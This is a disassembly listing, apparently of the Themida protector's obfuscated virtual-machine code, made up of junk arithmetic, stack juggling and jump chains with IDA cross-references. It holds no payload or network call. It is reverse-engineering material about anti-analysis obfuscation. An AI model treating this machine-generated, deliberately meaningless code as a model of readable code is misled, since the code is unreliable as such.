		push	ecx
		mov	ecx, 776B4378h
		push	ebp
		mov	ebp, 0A212A39h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xor	ebx, ecx
		jmp	loc_563ED6
; ---------------------------------------------------------------------------


loc_561FC1:				; CODE XREF: Themida_:005563E5j
		mov	ebp, esi
		push	eax
		mov	eax, ebp
		mov	edi, eax
		jmp	loc_55AE5E
; ---------------------------------------------------------------------------


loc_561FCD:				; CODE XREF: Themida_:0055D6F1j
		xor	esi, edx
		xchg	esi, edx
		jmp	loc_5506D8
; ---------------------------------------------------------------------------


loc_561FD6:				; CODE XREF: Themida_:0055865Ej
		sub	edx, ebx
		add	edx, 503B6DC5h
		push	dword ptr [esp]
		jmp	loc_55941F
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	164Bh
		mov	[esp], esp
		sub	esp, 4
		mov	[esp], edx
		push	edi
		mov	edi, 4
		mov	edx, edi
		pop	edi
		jmp	loc_556AF4
; ---------------------------------------------------------------------------


loc_56200A:				; CODE XREF: Themida_:00565574j
		add	eax, esi
		add	eax, 4C247E1h
		mov	esi, [esp]
		push	ebx
		push	esp
		pop	ebx
		add	ebx, 4
		jmp	loc_564A0F
; ---------------------------------------------------------------------------


loc_562022:				; CODE XREF: Themida_:005544FEj
		mov	[esp], edi
		push	esp
		pop	edi
		jmp	loc_5575DE
; ---------------------------------------------------------------------------


loc_56202C:				; CODE XREF: Themida_:00559034j
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_555DBA
; ---------------------------------------------------------------------------


loc_56203B:				; CODE XREF: Themida_:0055C1DCj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		add	esp, 4
		add	edx, ebx
		jmp	loc_55B740
; ---------------------------------------------------------------------------


loc_56204F:				; CODE XREF: Themida_:005595C3j
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	ebp
		sub	esp, 4
		jmp	loc_5613E7
; ---------------------------------------------------------------------------


loc_562065:				; CODE XREF: Themida_:0055BFA8j
		add	esp, 2
		jmp	loc_55B28B
; ---------------------------------------------------------------------------


loc_562070:				; CODE XREF: Themida_:00555B4Aj
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_55AFCC
; ---------------------------------------------------------------------------


loc_56208A:				; CODE XREF: Themida_:0055F5D5j
		add	esp, 4
		jmp	loc_55B15C
; ---------------------------------------------------------------------------


loc_562095:				; CODE XREF: Themida_:0055E6A8j
		add	ebp, edx
		sub	ebp, 3AFD160Dh
		pop	edx
		push	edi
		push	7D6A3ACCh
		pop	edi
		not	edi
		add	edi, 0CB8F6E13h
		sub	ebp, edi
		pop	edi
		add	esi, ebp
		jmp	loc_55200C
; ---------------------------------------------------------------------------


loc_5620B7:				; CODE XREF: Themida_:0055491Cj
		sub	esp, 4
		jmp	loc_55A93B
; ---------------------------------------------------------------------------


loc_5620C2:				; CODE XREF: Themida_:0055224Cj
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		jmp	loc_55FF6A
; ---------------------------------------------------------------------------


loc_5620DB:				; CODE XREF: Themida_:00558B91j
		pop	edx
		mov	esi, [esp]
		jmp	loc_552598
; ---------------------------------------------------------------------------


loc_5620E4:				; CODE XREF: Themida_:00553B7Aj
		mov	ah, 37h
		sub	dl, ah
		pop	eax
		sub	al, dl
		jmp	loc_55916B
; ---------------------------------------------------------------------------


loc_5620F0:				; CODE XREF: Themida_:0055CC3Fj
		or	esi, 71836617h
		add	esi, 0DB7CE540h
		jmp	loc_56039B
; ---------------------------------------------------------------------------


loc_562101:				; CODE XREF: Themida_:0055BE5Aj
		add	eax, 4
		add	eax, 2
		xchg	eax, [esp]
		pop	esp
		sub	al, bl
		jmp	loc_558E07
; ---------------------------------------------------------------------------


loc_562116:				; CODE XREF: Themida_:00552C86j
		mov	esp, [esp]
		shr	eax, 0Ah
		xor	eax, ecx
		push	71B4h
		mov	[esp], eax
		not	dword ptr [esp]
		jmp	loc_55FD58
; ---------------------------------------------------------------------------


loc_56212E:				; CODE XREF: Themida_:00550564j
		xchg	ebp, [esp]
		pop	esp
		push	edx
		mov	edx, 5D8D63DDh
		shr	edx, 2
		shl	edx, 3
		jmp	loc_55EF5B
; ---------------------------------------------------------------------------


loc_562143:				; CODE XREF: Themida_:0055F5F5j
		shr	ecx, 5
		xor	ecx, 66832C1Ah
		neg	ecx
		sub	ecx, 3D1FB1EEh
		xor	ebp, ecx
		jmp	loc_55E68D
; ---------------------------------------------------------------------------


loc_56215B:				; CODE XREF: Themida_:00557A69j
		add	esi, edi
		jmp	loc_55E606
; ---------------------------------------------------------------------------


loc_562162:				; CODE XREF: Themida_:0055DBB3j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_55E9E5
; ---------------------------------------------------------------------------


loc_562175:				; CODE XREF: Themida_:0056056Aj
		push	edi
		mov	edi, 1
		mov	ecx, edi
		pop	edi
		sub	edx, ecx
		pop	ecx
		jmp	loc_5505F1
; ---------------------------------------------------------------------------


loc_562186:				; CODE XREF: Themida_:00560E6Bj
		push	dword ptr [esp]
		jmp	loc_55E8DD
; ---------------------------------------------------------------------------


loc_56218E:				; CODE XREF: Themida_:00556160j
		push	1038h
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		push	esp
		pop	dword ptr [esp]
		sub	esp, 4
		mov	[esp], ebp
		push	esi
		push	ecx
		jmp	loc_56493C
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	1190h
		mov	[esp], ebp
		push	1619h
		mov	[esp], esp
		push	ebx
		mov	ebx, 4
		add	dword ptr [esp+4], 6B631C51h
		jmp	loc_55073A
; ---------------------------------------------------------------------------


loc_5621DA:				; CODE XREF: Themida_:00552044j
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	esi, 4
		jmp	loc_562905
; ---------------------------------------------------------------------------


loc_5621F5:				; CODE XREF: Themida_:00559FBAj
		pop	ebx
		sub	edx, 119C62BCh
		add	edx, 7747527Ch
		sub	edx, ebx
		push	ecx
		mov	ecx, 7747527Ch
		sub	edx, ecx
		pop	ecx
		add	edx, 119C62BCh
		pop	ebx
		add	edx, edi
		add	edx, 3F406E85h
		mov	edi, [esp]
		add	esp, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		jmp	loc_551E33
; ---------------------------------------------------------------------------


loc_562234:				; CODE XREF: Themida_:0055E86Aj
		sub	dword ptr [esp], 344D76B3h
		jmp	loc_553ED0
; ---------------------------------------------------------------------------


loc_562240:				; CODE XREF: Themida_:0055B399j
		mov	edi, [esp]
		push	ebp
		jmp	loc_551E3C
; ---------------------------------------------------------------------------


loc_562249:				; CODE XREF: Themida_:00561D4Cj
		sub	esi, 24C6C00Ah
		add	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_555259
; ---------------------------------------------------------------------------


loc_56225C:				; CODE XREF: Themida_:005659C6j
		pop	esp
		mov	[esp], ebx
		mov	ebx, 6FD967F5h
		push	ebp
		mov	ebp, 0E83104Dh
		shl	ebp, 4
		neg	ebp
		xchg	ebx, ebp
		neg	ebx
		xchg	ebx, ebp
		shl	ebp, 7
		sub	ebp, 0C24328E3h
		or	ebx, ebp
		pop	ebp
		push	ebp
		push	edi
		push	47D0019Fh
		pop	edi
		sub	edi, 0C81E99DEh
		mov	ebp, edi
		pop	edi
		sub	ebx, ebp
		jmp	loc_562D5B
; ---------------------------------------------------------------------------


loc_56229A:				; CODE XREF: Themida_:00551E9Ej
		add	ebp, 8BF3020h
		jmp	loc_564E90
; ---------------------------------------------------------------------------


loc_5622A5:				; CODE XREF: Themida_:0055472Ej
		xchg	ecx, ebp
		jmp	loc_55B05B
; ---------------------------------------------------------------------------


loc_5622AC:				; CODE XREF: Themida_:0055F9CFj
		or	eax, eax
		jmp	loc_553BE7
; ---------------------------------------------------------------------------


loc_5622B3:				; CODE XREF: Themida_:005530A1j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		jmp	loc_55BBC7
; ---------------------------------------------------------------------------


loc_5622C6:				; CODE XREF: Themida_:00552887j
		push	ebp
		push	5A3C7AECh
		jmp	loc_559F0F
; ---------------------------------------------------------------------------


loc_5622D1:				; CODE XREF: Themida_:00553354j
		push	ebx
		pop	eax
		pop	ebx
		xor	edi, eax
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_55E9F6
; ---------------------------------------------------------------------------


loc_5622E1:				; CODE XREF: Themida_:00560DF5j
		sub	bl, dh
		pop	dx
		or	ch, bl
		pop	ebx
		neg	ch
		and	ch, 6Fh
		inc	ch
		jmp	loc_55B109
; ---------------------------------------------------------------------------


loc_5622F4:				; CODE XREF: Themida_:0055DF52j
		mov	edi, 6AAF788Ah
		add	ebx, edi
		pop	edi
		add	eax, ebx
		jmp	loc_555B6E
; ---------------------------------------------------------------------------


loc_562303:				; CODE XREF: Themida_:00554926j
		add	eax, 379F4D84h
		add	eax, esi
		sub	eax, 379F4D84h
		pop	esi
		xchg	eax, [esp]
		mov	esp, [esp]
		push	24CCh
		mov	[esp], esi
		push	esp
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		jmp	loc_550ED5
; ---------------------------------------------------------------------------


loc_562333:				; CODE XREF: Themida_:00561EA4j
		xor	dl, 0E9h
		and	bl, dl
		pop	edx
		neg	bl
		push	5D4Ah
		mov	[esp], eax
		jmp	loc_55E4B3
; ---------------------------------------------------------------------------


loc_562348:				; CODE XREF: Themida_:0055B183j
		add	al, dl
		pop	edx
		mov	edx, [esp]
		push	7E3Ah
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_55E497
; ---------------------------------------------------------------------------


loc_562371:				; CODE XREF: Themida_:00563036j
		add	edi, 41652ED1h
		jmp	loc_558458
; ---------------------------------------------------------------------------


loc_56237C:				; CODE XREF: Themida_:005610D4j
		add	dword ptr [esp+4], 36541276h
		jmp	loc_55219A
; ---------------------------------------------------------------------------


loc_562389:				; CODE XREF: Themida_:00560444j
		sub	esp, 4
		mov	[esp], edx
		mov	dl, al
		mov	ch, dl
		pop	edx
		jmp	loc_561346
; ---------------------------------------------------------------------------


loc_562399:				; CODE XREF: Themida_:0055F391j
		mov	[esp], edx
		push	537h
		mov	[esp], esp
		push	edi
		push	4
		pop	edi
		add	[esp+4], edi
		pop	edi
		mov	edx, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 4
		push	edi
		mov	edi, 3DA25CF3h
		shl	edi, 4
		jmp	loc_55ADE9
; ---------------------------------------------------------------------------


loc_5623CA:				; CODE XREF: Themida_:0055A65Aj
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		xchg	eax, [esp]
		pop	esp
		push	edi
		push	esp
		jmp	loc_556B9A
; ---------------------------------------------------------------------------


loc_5623DD:				; CODE XREF: Themida_:00559F91j
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 51DA49C0h
		xor	ebp, 5D05691Ah
		sub	ebp, 3E7C7D34h
		not	ebp
		xor	ebp, 319D5C5Bh
		jmp	loc_56467B
; ---------------------------------------------------------------------------


loc_562404:				; CODE XREF: Themida_:00557985j
		neg	eax
		xor	eax, 0D7B69BF9h
		or	edx, eax
		pop	eax
		jmp	loc_558E50
; ---------------------------------------------------------------------------


loc_562413:				; CODE XREF: Themida_:0055A072j
		add	edi, esi
		pop	esi
		jmp	loc_553151
; ---------------------------------------------------------------------------


loc_56241B:				; CODE XREF: Themida_:0056010Cj
		add	edx, 0F4188617h
		add	eax, edx
		jmp	loc_557A6E
; ---------------------------------------------------------------------------


loc_562428:				; CODE XREF: Themida_:00558D75j
		not	esi
		jmp	loc_550760
; ---------------------------------------------------------------------------


loc_56242F:				; CODE XREF: Themida_:00553301j
		mov	[esp], eax
		push	edx
		mov	edx, 80h
		mov	eax, edx
		pop	edx
		push	16BDh
		mov	[esp], ebp
		mov	ebp, eax
		mov	esi, ebp
		jmp	loc_55918C
; ---------------------------------------------------------------------------


loc_56244C:				; CODE XREF: Themida_:0055B98Cj
		mov	[esp], ebx
		mov	ebx, 7168175Ch
		shr	ebx, 7
		add	ebx, 36C95332h
		neg	ebx
		not	ebx
		jmp	loc_55EBCE
; ---------------------------------------------------------------------------


loc_562466:				; CODE XREF: Themida_:00553DC1j
		pop	ecx
		inc	al
		mov	dh, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_559DB0
; ---------------------------------------------------------------------------


loc_562476:				; CODE XREF: Themida_:00565AF7j
		shl	ebx, 3
		push	96Eh
		jmp	loc_56047F
; ---------------------------------------------------------------------------


loc_562483:				; CODE XREF: Themida_:00556B15j
		pop	esi
		sub	esp, 4
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], eax
		push	ecx
		push	0EB05382h
		pop	ecx
		xor	ecx, 773C6B2Eh
		jmp	loc_552920
; ---------------------------------------------------------------------------


loc_5624A2:				; CODE XREF: Themida_:00551B09j
		push	edi
		mov	di, 57Fh
		dec	di
		neg	di
		xor	di, 0FF4Fh
		xor	cx, di
		pop	edi
		add	dx, 42BDh
		add	dx, cx
		sub	dx, 42BDh
		mov	ecx, [esp]
		add	esp, 4
		shr	dx, 4
		push	ecx
		jmp	loc_563ABE
; ---------------------------------------------------------------------------


loc_5624D2:				; CODE XREF: Themida_:00550450j
		neg	edx
		xor	edx, 2C1097Bh
		xor	edx, 7D276394h
		add	edx, 42559544h
		sub	eax, edx
		pop	edx
		jmp	loc_552ABD
; ---------------------------------------------------------------------------


loc_5624EE:				; CODE XREF: Themida_:0055073Ej
		sub	dword ptr [esp+4], 6B631C51h
		mov	ebx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_5570EF
; ---------------------------------------------------------------------------


loc_562507:				; CODE XREF: Themida_:00554FDCj
		add	ebp, 65A94200h
		shl	ebp, 5
		add	ebp, 0C36B55A0h
		or	ebx, ebp
		pop	ebp
		not	ebx
		xor	ebx, 0DE6204EDh
		add	eax, ebx
		pop	ebx
		pop	edx
		push	0B8Dh
		jmp	loc_554A07
; ---------------------------------------------------------------------------


loc_56252F:				; CODE XREF: Themida_:0055B17Cj
		mov	eax, 48F42A46h
		xor	ecx, eax
		jmp	loc_560A2D
; ---------------------------------------------------------------------------


loc_56253B:				; CODE XREF: Themida_:00553036j
		push	204E185Ch
		pop	ecx
		or	ecx, 64C872B7h
		sub	ecx, 16DD001Dh
		sub	ecx, 4DF17ADEh
		mov	eax, ecx
		pop	ecx
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5649FD
; ---------------------------------------------------------------------------


loc_56257D:				; CODE XREF: Themida_:0055CB31j
		pop	esp
		movzx	ecx, ax
		push	ecx
		push	esp
		pop	ecx
		push	edi
		mov	edi, 2E663C60h
		shl	edi, 3
		sub	edi, 1
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_550C26
; ---------------------------------------------------------------------------


loc_56259E:				; CODE XREF: Themida_:005534BDj
		add	dl, bh
		pop	ebx
		sub	dl, ch
		sub	dl, 12h
		jmp	loc_553677
; ---------------------------------------------------------------------------


loc_5625AB:				; CODE XREF: Themida_:00553C47j
		mov	[esp], eax
		jmp	loc_550F90
; ---------------------------------------------------------------------------


loc_5625B3:				; CODE XREF: Themida_:00560CD8j
		pop	ebx
		jmp	loc_553933
; ---------------------------------------------------------------------------


loc_5625B9:				; CODE XREF: Themida_:00564DD4j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 4
		push	ebp
		mov	ebp, 6151BACh
		dec	ebp
		push	esi
		push	eax
		jmp	loc_55D31F
; ---------------------------------------------------------------------------


loc_5625D3:				; CODE XREF: Themida_:00557A74j
		add	esp, 4
		jmp	loc_55DAB2
; ---------------------------------------------------------------------------


loc_5625DE:				; CODE XREF: Themida_:0055FA78j
		sub	bl, dl
		pop	edx
		add	bl, al
		add	bl, 65h
		jmp	loc_55661F
; ---------------------------------------------------------------------------


loc_5625EB:				; CODE XREF: Themida_:00551659j
		sub	ebx, 44076AADh
		add	ebx, eax
		add	ebx, 44076AADh
		pop	eax
		sub	ebx, eax
		sub	ebx, 7EB73787h
		sub	ebx, 2E776209h
		sub	ebx, 53262252h
		push	ecx
		push	4EF4h
		mov	[esp], esi
		mov	esi, 589120BDh
		jmp	loc_557527
; ---------------------------------------------------------------------------


loc_562621:				; CODE XREF: Themida_:0055277Fj
		mov	edx, 4
		add	edi, edx
		mov	edx, [esp]
		jmp	loc_55F792
; ---------------------------------------------------------------------------


loc_562630:				; CODE XREF: Themida_:0055E44Ej
		mov	edx, 4244DC4h
		neg	edx
		sub	edx, 0F865AEEBh
		mov	ebp, edx
		pop	edx
		and	edx, ebp
		pop	ebp
		or	edx, 33250BE7h
		jmp	loc_551E8B
; ---------------------------------------------------------------------------


loc_56264E:				; CODE XREF: Themida_:00554EC8j
		shl	edx, 2
		xor	edx, 3D16CE8h
		shl	edx, 7
		inc	edx
		push	edi
		mov	edi, 51C14211h
		add	edi, 370A76E2h
		or	edi, 5C4D4756h
		sub	edi, 4470194Fh
		neg	edi
		jmp	loc_55393C
; ---------------------------------------------------------------------------


loc_56267A:				; CODE XREF: Themida_:00553B05j
		mov	[esp], eax
		push	260Fh
		mov	[esp], edx
		jmp	loc_55B638
; ---------------------------------------------------------------------------


loc_56268A:				; CODE XREF: Themida_:00550D7Bj
		pop	eax
		jmp	loc_554CA2
; ---------------------------------------------------------------------------


loc_562690:				; CODE XREF: Themida_:00555FCAj
		xchg	ebp, [esp]
		pop	esp
		shr	dword ptr [esp], cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56269D:				; CODE XREF: Themida_:0055D844j
		sub	edx, ecx
		sub	edx, 3A836982h
		push	edi
		mov	edi, 49B9515Fh
		sub	edx, edi
		pop	edi
		pop	ecx
		add	edx, 5BA439C0h
		jmp	loc_556131
; ---------------------------------------------------------------------------


loc_5626BA:				; CODE XREF: Themida_:0055F0D3j
		mov	[esp], ecx
		mov	ecx, 5D446D66h
		add	edi, ecx
		pop	ecx
		jmp	loc_551F6E
; ---------------------------------------------------------------------------


loc_5626CA:				; CODE XREF: Themida_:0055A50Aj
		mov	esi, [esp]
		add	esp, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_555106
; ---------------------------------------------------------------------------


loc_5626E1:				; CODE XREF: Themida_:00550F10j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		mov	[esp], esp
		push	ecx
		push	ebp
		push	2746298h
		pop	ebp
		and	ebp, 16AE7E1Ah
		xor	ebp, 224621Ch
		mov	ecx, ebp
		pop	ebp
		add	[esp+4], ecx
		pop	ecx
		jmp	loc_552CA8
; ---------------------------------------------------------------------------


loc_56270C:				; CODE XREF: Themida_:00558AA4j
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_559E5F
; ---------------------------------------------------------------------------


loc_562715:				; CODE XREF: Themida_:0055DBADj
		sub	esp, 4
		jmp	loc_55635A
; ---------------------------------------------------------------------------


loc_562720:				; CODE XREF: Themida_:0055A72Dj
		add	ebp, 78465Eh
		sub	ebp, 2789041Dh
		push	7112h
		mov	[esp], esi
		mov	esi, 36207D6Bh
		shr	esi, 2
		inc	esi
		push	ebx
		mov	ebx, 77627FB6h
		jmp	loc_55167D
; ---------------------------------------------------------------------------


loc_562748:				; CODE XREF: Themida_:00561B31j
		xor	[esp+4], edi
		pop	edi
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_554617
; ---------------------------------------------------------------------------


loc_56275E:				; CODE XREF: Themida_:0055754Fj
		xor	dl, 40h
		jmp	loc_56082A
; ---------------------------------------------------------------------------


loc_562766:				; CODE XREF: Themida_:0055687Aj
		add	eax, 2DC75421h
		jmp	loc_5549C7
; ---------------------------------------------------------------------------


loc_562770:				; CODE XREF: Themida_:00555801j
		sub	edx, 7C051BC1h
		jmp	loc_55D4EE
; ---------------------------------------------------------------------------


loc_56277B:				; CODE XREF: Themida_:00551100j
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_55F7AA
; ---------------------------------------------------------------------------


loc_56278C:				; CODE XREF: Themida_:005560EDj
		push	eax
		mov	al, bh
		mov	ch, al
		pop	eax
		push	ebx
		mov	bl, ch
		mov	dl, bl
		pop	ebx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55EFF9
; ---------------------------------------------------------------------------


loc_5627A3:				; CODE XREF: Themida_:00553CDCj
		shr	ebx, 5
		push	61A5h
		mov	[esp], ebp
		mov	ebp, 73EE2962h
		shl	ebp, 3
		not	ebp
		neg	ebp
		push	eax
		mov	eax, 104A2E22h
		add	ebp, eax
		pop	eax
		add	ebp, 5F119F8Dh
		jmp	loc_563DDA
; ---------------------------------------------------------------------------


loc_5627CE:				; CODE XREF: Themida_:005646CFj
		xchg	edx, [esp]
		pop	esp
		xor	ebx, eax
		push	390Ah
		mov	[esp], eax
		push	dword ptr [esp]
		mov	edx, [esp]
		jmp	loc_55488C
; ---------------------------------------------------------------------------


loc_5627E7:				; CODE XREF: Themida_:005562C6j
		shr	ebx, 5
		push	edx
		mov	edx, 56991150h
		dec	edx
		dec	edx
		push	ebx
		jmp	loc_553E27
; ---------------------------------------------------------------------------


loc_5627F8:				; CODE XREF: Themida_:0055F63Bj
		push	4A7D2E6Fh
		pop	edi
		jmp	loc_552355
; ---------------------------------------------------------------------------


loc_562803:				; CODE XREF: Themida_:00558878j
		neg	dl
		jmp	loc_558D15
; ---------------------------------------------------------------------------


loc_56280A:				; CODE XREF: Themida_:00554D21j
		xor	eax, edx
		xor	edx, eax
		xor	eax, edx
		sub	esp, 4
		mov	[esp], edx
		push	ecx
		mov	ecx, 1
		jmp	loc_55B5B2
; ---------------------------------------------------------------------------


loc_562824:				; CODE XREF: Themida_:00550E91j
		pop	eax
		push	edi
		mov	edi, 4
		add	eax, edi
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_55D285
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 8Fh
		push	edx
		push	0D10h
		mov	[esp], ebx
		jmp	loc_560A83
; ---------------------------------------------------------------------------


loc_56284D:				; CODE XREF: Themida_:00551D90j
		add	esp, 4
		push	edx
		mov	edx, 2
		add	ebp, edx
		pop	edx
		xchg	ebp, [esp]
		mov	esp, [esp]
		shl	dword ptr [esp], cl
		pushf
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_562868:				; CODE XREF: Themida_:0055D051j
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_56286D:				; CODE XREF: Themida_:00556D58j
		push	edx
		jmp	loc_558487
; ---------------------------------------------------------------------------


loc_562873:				; CODE XREF: Themida_:00560060j
		push	edx
		jmp	loc_553832
; ---------------------------------------------------------------------------


loc_562879:				; CODE XREF: Themida_:0056566Aj
		pop	edx
		add	esp, 4
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_562882:				; CODE XREF: Themida_:0055820Fj
		pop	ecx
		push	dword ptr [esp]
		pop	eax
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		pop	edx
		push	78C9h
		mov	[esp], eax
		push	edi
		mov	edi, 7E21219Ah
		jmp	loc_55D1F4
; ---------------------------------------------------------------------------


loc_5628AB:				; CODE XREF: Themida_:005504C3j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 62945E28h
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_564756
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	331h
		mov	[esp], ebp
		push	3967h
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], esp
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_562E37
; ---------------------------------------------------------------------------


loc_562905:				; CODE XREF: Themida_:005621F0j
		sub	esi, 4
		push	360Fh
		mov	[esp], esi
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_5506B4
; ---------------------------------------------------------------------------


loc_562920:				; CODE XREF: Themida_:00562F21j
		pop	ecx
		pop	edx
		add	ecx, 0FFFFFFFFh
		jmp	loc_55DB41
; ---------------------------------------------------------------------------


loc_56292A:				; CODE XREF: Themida_:0055AE92j
		pop	ebx
		jmp	loc_563D3E
; ---------------------------------------------------------------------------


loc_562930:				; CODE XREF: Themida_:00558F8Bj
		jmp	loc_550420
; ---------------------------------------------------------------------------


loc_562935:				; CODE XREF: Themida_:0055129Dj
		push	dword ptr [esp]
		jmp	loc_557ED3
; ---------------------------------------------------------------------------


loc_56293D:				; CODE XREF: Themida_:00565240j
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_55378B
; ---------------------------------------------------------------------------


loc_562948:				; CODE XREF: Themida_:0055700Bj
		pop	esp
		jmp	loc_55AF11
; ---------------------------------------------------------------------------


loc_56294E:				; CODE XREF: Themida_:0055338Cj
		mov	[esp], eax
		mov	eax, 0A67217Ah
		add	eax, 1
		shl	eax, 5
		sub	eax, 341537CEh
		shr	eax, 5
		push	ecx
		push	66AE014Ah
		jmp	loc_555650
; ---------------------------------------------------------------------------


loc_562971:				; CODE XREF: Themida_:00555857j
		push	edi
		mov	edi, 5AE64CABh
		push	ebx
		mov	ebx, 0A8340E0h
		push	ebp
		mov	ebp, 50650C47h
		xor	ebx, ebp
		pop	ebp
		sub	edi, ebx
		pop	ebx
		add	ebp, edi
		pop	edi
		sub	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_5535E4
; ---------------------------------------------------------------------------


loc_5629A3:				; CODE XREF: Themida_:0055D8D7j
		add	ebp, 0BDCED597h
		jmp	loc_55744B
; ---------------------------------------------------------------------------


loc_5629AE:				; CODE XREF: Themida_:0055A9BEj
		mov	esi, 2
		add	edi, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5596D0
; ---------------------------------------------------------------------------


loc_5629C3:				; CODE XREF: Themida_:00561C76j
		sub	ebx, 342C0A37h
		sub	ebx, edi
		push	eax
		mov	eax, 624A4752h
		dec	eax
		jmp	loc_565B59
; ---------------------------------------------------------------------------


loc_5629D7:				; CODE XREF: Themida_:0055B448j
		pop	edx
		mov	edi, esi
		pop	esi
		add	ebx, edi
		pop	edi
		xchg	ebx, [esp]
		pop	esp
		push	4A5Ah
		mov	[esp], esi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_553300
; ---------------------------------------------------------------------------


loc_562A04:				; CODE XREF: Themida_:0055F42Ej
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		pop	eax
		push	eax
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		jmp	loc_55F7F7
; ---------------------------------------------------------------------------


loc_562A36:				; CODE XREF: Themida_:005615E6j
		pop	esp
		push	ecx
		jmp	loc_552BEA
; ---------------------------------------------------------------------------


loc_562A3D:				; CODE XREF: Themida_:00550C65j
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_5526D2
; ---------------------------------------------------------------------------


loc_562A4B:				; CODE XREF: Themida_:00564EFEj
		xchg	eax, [esp]
		jmp	loc_55A43B
; ---------------------------------------------------------------------------


loc_562A53:				; CODE XREF: Themida_:00551B24j
		and	eax, esi
		pop	esi
		add	eax, 0CD27874Bh
		xor	ebp, eax
		jmp	loc_559206
; ---------------------------------------------------------------------------


loc_562A62:				; CODE XREF: Themida_:00553189j
		mov	edi, [esp]
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_554A65
; ---------------------------------------------------------------------------


loc_562A70:				; CODE XREF: Themida_:00555254j
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_563219
; ---------------------------------------------------------------------------


loc_562A86:				; CODE XREF: Themida_:0055BB5Dj
		pop	esp
		sub	al, bl
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_564274
; ---------------------------------------------------------------------------


loc_562A92:				; CODE XREF: Themida_:00554A95j
		sub	ebx, ecx
		add	ebx, 77B94138h
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [eax]
		jmp	loc_5636DB
; ---------------------------------------------------------------------------


loc_562AA7:				; CODE XREF: Themida_:00558D2Aj
		xor	ebp, 281D3A16h
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_561067
; ---------------------------------------------------------------------------


loc_562AB8:				; CODE XREF: Themida_:00550FC2j
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		jmp	loc_55D519
; ---------------------------------------------------------------------------


loc_562ACC:				; CODE XREF: Themida_:00550A32j
		sub	ebx, 1D304ED4h
		add	ebx, esi
		add	ebx, 1D304ED4h
		mov	esi, [esp]
